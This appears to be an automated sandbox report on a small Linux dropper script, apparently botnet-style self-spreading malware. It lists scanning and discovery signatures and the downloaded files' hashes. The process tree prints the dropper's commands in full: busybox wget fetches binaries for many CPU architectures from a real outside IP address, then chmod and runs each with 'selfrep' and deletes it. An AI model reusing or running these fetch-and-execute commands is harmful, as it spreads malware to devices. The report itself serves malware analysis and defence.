Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/06/2026, 13:32

General

  • Target
    bdd1974ff8232adfb268d9cd51fb92eb8186dd109becbef6f962787d522640a6
  • Size 1KB
  • Sample260627-qsxrasbx2k
  • SHA256 bdd1974ff8232adfb268d9cd51fb92eb8186dd109becbef6f962787d522640a6
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Contacts a large (71643) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 64 IoCs
  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 9 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bdd1974ff8232adfb268d9cd51fb92eb8186dd109becbef6f962787d522640a6
    /tmp/bdd1974ff8232adfb268d9cd51fb92eb8186dd109becbef6f962787d522640a6
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/busybox
      /bin/busybox wget http://146.190.31.68/jklarm -O jklarm
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/busybox
      /bin/busybox chmod +x jklarm
      2⤵
      • File and Directory Permissions Modification
      PID:665
    • /tmp/jklarm
      ./jklarm selfrep
      2⤵
      • Renames itself
      • Changes its process name
      • Reads runtime system information
      PID:667
    • /bin/busybox
      /bin/busybox rm -rf jklarm
      2⤵
        PID:670
      • /bin/busybox
        /bin/busybox wget http://146.190.31.68/jklarm5 -O jklarm5
        2⤵
        • Writes file to tmp directory
        PID:674
      • /bin/busybox
        /bin/busybox chmod +x jklarm5
        2⤵
        • File and Directory Permissions Modification
        PID:679
      • /tmp/jklarm5
        ./jklarm5 selfrep
        2⤵
        • Renames itself
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:680
      • /bin/busybox
        /bin/busybox rm -rf jklarm5
        2⤵
          PID:759
        • /bin/busybox
          /bin/busybox wget http://146.190.31.68/jklarm6 -O jklarm6
          2⤵
          • Writes file to tmp directory
          PID:763
        • /bin/busybox
          /bin/busybox chmod +x jklarm6
          2⤵
          • File and Directory Permissions Modification
          PID:764
        • /tmp/jklarm6
          ./jklarm6 selfrep
          2⤵
            PID:765
          • /bin/busybox
            /bin/busybox rm -rf jklarm6
            2⤵
              PID:766
            • /bin/busybox
              /bin/busybox wget http://146.190.31.68/jklarm7 -O jklarm7
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/busybox
              /bin/busybox chmod +x jklarm7
              2⤵
              • File and Directory Permissions Modification
              PID:768
            • /tmp/jklarm7
              ./jklarm7 selfrep
              2⤵
              • Renames itself
              • Enumerates active TCP sockets
              • Changes its process name
              • Reads system network configuration
              • Reads runtime system information
              PID:769
            • /bin/busybox
              /bin/busybox rm -rf jklarm7
              2⤵
                PID:772
              • /bin/busybox
                /bin/busybox wget http://146.190.31.68/jklm68k -O jklm68k
                2⤵
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox chmod +x jklm68k
                2⤵
                • File and Directory Permissions Modification
                PID:777
              • /tmp/jklm68k
                ./jklm68k selfrep
                2⤵
                  PID:778
                • /bin/busybox
                  /bin/busybox rm -rf jklm68k
                  2⤵
                    PID:780
                  • /bin/busybox
                    /bin/busybox wget http://146.190.31.68/jklmips -O jklmips
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:781
                  • /bin/busybox
                    /bin/busybox chmod +x jklmips
                    2⤵
                    • File and Directory Permissions Modification
                    PID:782
                  • /tmp/jklmips
                    ./jklmips selfrep
                    2⤵
                    • System Network Configuration Discovery
                    PID:783
                  • /bin/busybox
                    /bin/busybox rm -rf jklmips
                    2⤵
                    • System Network Configuration Discovery
                    PID:785
                  • /bin/busybox
                    /bin/busybox wget http://146.190.31.68/jklmpsl -O jklmpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:786
                  • /bin/busybox
                    /bin/busybox chmod +x jklmpsl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:790
                  • /tmp/jklmpsl
                    ./jklmpsl selfrep
                    2⤵
                      PID:792
                    • /bin/busybox
                      /bin/busybox rm -rf jklmpsl
                      2⤵
                        PID:794
                      • /bin/busybox
                        /bin/busybox wget http://146.190.31.68/jklppc -O jklppc
                        2⤵
                        • Writes file to tmp directory
                        PID:796
                      • /bin/busybox
                        /bin/busybox chmod +x jklppc
                        2⤵
                        • File and Directory Permissions Modification
                        PID:812
                      • /tmp/jklppc
                        ./jklppc selfrep
                        2⤵
                          PID:813
                        • /bin/busybox
                          /bin/busybox rm -rf jklppc
                          2⤵
                            PID:815
                          • /bin/busybox
                            /bin/busybox wget http://146.190.31.68/jklsh4 -O jklsh4
                            2⤵
                            • Writes file to tmp directory
                            PID:819
                          • /bin/busybox
                            /bin/busybox chmod +x jklsh4
                            2⤵
                            • File and Directory Permissions Modification
                            PID:831
                          • /tmp/jklsh4
                            ./jklsh4 selfrep
                            2⤵
                              PID:832
                            • /bin/busybox
                              /bin/busybox rm -rf jklsh4
                              2⤵
                                PID:834
                              • /bin/busybox
                                /bin/busybox wget http://146.190.31.68/jklspc -O jklspc
                                2⤵
                                • Writes file to tmp directory
                                PID:835
                              • /bin/busybox
                                /bin/busybox chmod +x jklspc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:846
                              • /tmp/jklspc
                                ./jklspc selfrep
                                2⤵
                                  PID:850
                                • /bin/busybox
                                  /bin/busybox rm -rf jklspc
                                  2⤵
                                    PID:853
                                  • /bin/busybox
                                    /bin/busybox wget http://146.190.31.68/jklx86 -O jklx86
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:857
                                  • /bin/busybox
                                    /bin/busybox chmod +x jklx86
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:867
                                  • /tmp/jklx86
                                    ./jklx86 selfrep
                                    2⤵
                                      PID:875
                                    • /bin/busybox
                                      /bin/busybox rm -rf jklx86
                                      2⤵
                                        PID:877
                                      • /bin/busybox
                                        /bin/busybox rm -rf wget.sh
                                        2⤵
                                          PID:878

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

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                                            Downloads

                                            jklarm

                                            • Path /tmp/jklarm
                                            • Size 179KB
                                            • SHA256 e860f7cde23f1e54ff1857ad8b8b13521364d9288a512feb91537333065bbc14
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklarm5

                                            • Path /tmp/jklarm5
                                            • Size 179KB
                                            • SHA256 1845f23e6578f398b93fdf94795ddfed421c77971fc4048e09034335f27ab014
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklarm6

                                            • Path /tmp/jklarm6
                                            • Size 116KB
                                            • SHA256 a179b987e9ab1927ab132c9dfb6fae417161c5964928d872a62a8161f94f68e1
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklarm7

                                            • Path /tmp/jklarm7
                                            • Size 129KB
                                            • SHA256 a403bed675a1f4484065101c3a0d311d91500c689db3af01e81d0800eb98c639
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklm68k

                                            • Path /tmp/jklm68k
                                            • Size 192KB
                                            • SHA256 a484dbf0532fd05da0fa696b3195224c691ca5c4ec279ae3f7525c7bdf1c5abe
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklmips

                                            • Path /tmp/jklmips
                                            • Size 230KB
                                            • SHA256 428947c3b56ee2e1fa3df829e8129db6814439663c062cd6068a4ae5ef8aeb8b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklmpsl

                                            • Path /tmp/jklmpsl
                                            • Size 231KB
                                            • SHA256 bddcfd01e5e775d68493005ef7196d4a7c87e31b58a2d7812a36595c571d85bb
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklppc

                                            • Path /tmp/jklppc
                                            • Size 183KB
                                            • SHA256 e6b76eef8cc09182752a89b9e8d5c3e0db0b5adb21493ec1f0f6074e6cebc5e3
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklsh4

                                            • Path /tmp/jklsh4
                                            • Size 163KB
                                            • SHA256 abfb908a139dd0c86cc7ab4c0ccaf46dbc1158008c92857c528e54261d2413b5
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklspc

                                            • Path /tmp/jklspc
                                            • Size 98KB
                                            • SHA256 61b5b9b74a4ef5325ccc15a0bbad090f0a1166da785ddf3830d5959bc41d0b30
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            jklx86

                                            • Path /tmp/jklx86
                                            • Size 130KB
                                            • SHA256 fe3a8ee4ab4377aabd51fa980edc245c3f05e955a21ff43fd71528aef85a43cb
                                            • MD5 SHA1 SHA512 SSDEEP TLSH